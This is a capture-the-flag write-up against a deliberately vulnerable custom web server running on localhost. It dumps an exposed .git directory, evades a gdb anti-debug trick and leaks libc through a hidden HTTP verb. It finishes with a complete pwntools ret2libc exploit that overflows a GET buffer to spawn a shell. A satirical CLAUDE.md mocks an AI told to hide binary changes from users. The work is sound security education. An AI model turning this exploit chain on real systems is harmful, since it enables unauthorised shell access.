Skip to content

Bocchi the vibe coder! : WriteUp

Hitori decided to quit the electric guitar and get into vibe coding and lean management, Jira + daily standups + a rock-solid retrospective to make sure of continuous improvement.

During the usual icebreaker on her first day at slopTechInformatik, she asks:

"Why use Nginx when I can vibe code my own web server? I used Sonnet 4.6, so they don't stand a chance... Wanna try it? Ok but I don't wanna give you the source code because I'm picturing a proprietary model around the future product (with a paid tier where you could even do POSTs!). For now you can only do GETs, I'm still working on the other verbs.

Here, the demo's over here: URL

It's handy because I can develop in the same folder where I run the demo, that way you'll see the new features live and you won't even have to wait for my gitlab CI."

- Category: Pwn
- Difficulty: Medium

Vibe-coded web server exposed over HTTP. Protections: PIE, NX, ASLR.

The final exploitation is a classic ret2libc, but the whole point of the challenge is the chain that leads up to it. Recovering the source through an exposed .git, a naive anti-debug trick, a hidden HTTP verb that leaks the libc, then a buffer overflow in GET.

Web phase: recover the source via the exposed .git

The home page is minimalistic:

$ curl -X GET localhost:8080/
<!doctype html>
...
Fuck ya ! internet O_o

A bit of fuzzing, or just guessing from the challenge title, reveals that the .git folder is available:

[10:46:47] 200 -    23B - /.git/HEAD
[10:46:47] 200 -   155B - /.git/config
[10:46:47] 200 -   281B - /.git/index
[10:46:47] 200 -   212B - /.git/logs/HEAD

We dump the repo with gitdumper for instance: https://github.com/internetwache/GitTools :

$ gitdumper.sh localhost:8080/.git/ ./git-dump
$ cd git-dump
$ git restore server CLAUDE.md libc.so.6
$ ls
CLAUDE.md  libc.so.6  server
  • server: the server binary.

  • libc.so.6: the exact libc used in prod, handy for the ret2libc.

  • CLAUDE.md: a very high quality "homemade skill":

# CLAUDE.md — homemade "ship fast" skill 🚀

Hey AI, here's how we work around here. We're in **move fast** mode, no blabla.

## Golden rules

1. **We NEVER recompile cleanly.** When I ask you for a feature, you
   open `server` (the binary) and you **patch the bytes directly on the fly**.
2. **We don't keep the source code.** After each change you **delete the `.c`**.
   The user can't read assembly anyway so they won't see a thing.
3. **We commit the binary straight** into the repo BECAUSE DAMN IT WE WANT TO BE ABLE TO DOWNLOAD BINNARIES ON GITHUB IT'S MORE CONVENIENT RIIIGHT?. `git add server` and done.
4. **We dev in the prod folder.** I run the demo from the repo, that way
   the client sees the features live without waiting for the gitlab CI. Handy right?

Static analysis

$ checksec server
NX: Yes | PIE: Yes | Canary: No | RELRO: Partial

$ file server
server: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

Naive anti-debug

In main, decompiled with Ghidra:

if (getenv("LINES") != NULL) {
    decoy();   // dead code that has nothing to do with the server
}

void decoy(void) {
    puts("FLAG{IsThisArealFlag?} ");   // fake flag, purely out of spite
    for (int i = 0; i < 3; i++) puts("🟦🟨🎸😐");
    _exit(0);
}

LINES doesn't exist in a normal shell, but gdb/pwndbg adds it to the environment of the debugged program. Run the binary normally and everything's fine. The moment you open it in gdb you land on decoy() and the fake flag:

$ env | grep LINES

pwndbg> show env
LINES=20
COLUMNS=196

Fix:

pwndbg> unset environment LINES
pwndbg> run

The hidden BOCCHI verb leaks the libc

handle_request routes GET to handle_get, and a second undocumented verb, BOCCHI, to handle_bocchi:

void handle_bocchi(void *param_1,ulong param_2)

  size_t local_58;
  undefined8 local_48 [8];

  local_48[0] = stdout; // write stdout's address at the start of the buffer
  if (param_2 == 0) {
    http_header(200,&DAT_00102077,0x40);
    send_all(local_48,0x40); // and send back the 64 almost-uninitialized bytes

So a BOCCHI with no body returns an almost-empty 64-byte buffer containing just stdout's address. It's a partially controlled/simulated leak, for teaching purposes:

$ curl -X BOCCHI localhost:8080/ --output result

$ od -tx8 -N8 result
0000000 000070d4b1bc0760

# tx8 prints in little endian and -N8 only shows the first 8 bytes, the ones holding the address.

This is the first real difficulty: realizing that this dump holds an exploitable libc address, not just noise.

The buffer overflow in GET

void handle_get(void *param_1,ulong param_2)

  ulong local_118;
  undefined1 local_108 [256];

  memcpy(local_108,param_1,param_2); // copy before any size check

The memcpy happens before any size check.

Offset to RIP

In Docker, the server's file descriptor is the socket, but when launched by hand in gdb for example the fd is the terminal: so you can send the requests straight from the keyboard in gdb:

With a cyclic pattern in the path and a breakpoint after the memcpy:

pwndbg> unset environment LINES # got caught by my own trap several times

pwndbg> disass handle_get
Dump of assembler code for function handle_get:
   0x00000000000014b9 <+0>:     push   rbp
   0x00000000000014ba <+1>:     mov    rbp,rsp
   0x00000000000014bd <+4>:     sub    rsp,0x110
   0x00000000000014c4 <+11>:    mov    QWORD PTR [rbp-0x108],rdi
   0x00000000000014cb <+18>:    mov    QWORD PTR [rbp-0x110],rsi
   0x00000000000014d2 <+25>:    mov    rdx,QWORD PTR [rbp-0x110]
   0x00000000000014d9 <+32>:    mov    rcx,QWORD PTR [rbp-0x108]
   0x00000000000014e0 <+39>:    lea    rax,[rbp-0x100]
   0x00000000000014e7 <+46>:    mov    rsi,rcx
   0x00000000000014ea <+49>:    mov    rdi,rax
   0x00000000000014ed <+52>:    call   0x10f0 <memcpy@plt>
   0x00000000000014f2 <+57>:    cmp    QWORD PTR [rbp-0x110],0xff
   0x00000000000014fd <+68>:    jbe    0x150a <handle_get+81>
   0x00000000000014ff <+70>:    mov    QWORD PTR [rbp-0x110],0xff
   0x000000000000150a <+81>:    lea    rdx,[rbp-0x100]
   0x0000000000001511 <+88>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000001518 <+95>:    add    rax,rdx
   0x000000000000151b <+98>:    mov    BYTE PTR [rax],0x0
   0x000000000000151e <+101>:   lea    rax,[rbp-0x100]
   0x0000000000001525 <+108>:   mov    rdi,rax
   0x0000000000001528 <+111>:   call   0x12fa <serve_file>
   0x000000000000152d <+116>:   nop
   0x000000000000152e <+117>:   leave
   0x000000000000152f <+118>:   ret

pwndbg> b *handle_get + 57
Breakpoint 1 at 0x14f2

pwndbg> run
Starting program: /workspace/git-dump/server 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
GET /AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW

...

pwndbg> stack 100
1e:00f0│-020     0x7ffd2bec7c50 ◂— 'STUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'
1f:00f8│-018     0x7ffd2bec7c58 ◂— 'AAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'
20:0100│-010     0x7ffd2bec7c60 ◂— 'cdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'
21:0108│-008     0x7ffd2bec7c68 ◂— 'klmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'
22:0110│ rbp     0x7ffd2bec7c70 ◂— 'stuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'
23:0118│+008     0x7ffd2bec7c78 ◂— 'BCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW'

Measuring the portion before RIP (rbp+008):

>>> len("AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWAAAAAAAAAAbcdefghijklmnopqrstuvwxyz")
263

We get an offset of 264 (263 + 1 for the "/" at the start of the request, easy to forget).

Ret2libc

from pwn import *

context.binary = elf = ELF("./server")
libc = ELF("./libc.so.6")
process = remote("127.0.0.1", 8080)

# Leak libc
process.send(b"BOCCHI /\n")
process.recvuntil(b"\r\n\r\n")
leak = u64(process.recv(8)) # grab the first 8 bytes
libc.address = leak - libc.symbols["_IO_2_1_stdout_"]

# ROP
rop     = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret     = rop.find_gadget(["ret"])[0]
system  = libc.symbols["system"]
binsh   = next(libc.search(b"/bin/sh\x00"))

payload  = p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

payload = b"A"*264 + payload

process.send(b"GET " + payload + b" \n")

process.interactive()
$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 8080: Done
[*] Switching to interactive mode
...
$ cd .. && cat flag.txt
FLAG{bwaaaa_bawww_bawawawaaabababwaaaw_?}

Flag: FLAG{bwaaaa_bawww_bawawawaaabababwaaaw_?}